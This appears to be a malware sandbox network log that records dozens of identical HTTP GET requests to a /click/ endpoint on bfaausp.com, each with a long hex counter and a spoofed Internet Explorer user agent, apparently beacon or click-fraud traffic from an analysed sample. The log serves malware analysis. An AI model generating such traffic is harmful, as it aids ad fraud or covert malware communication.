Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
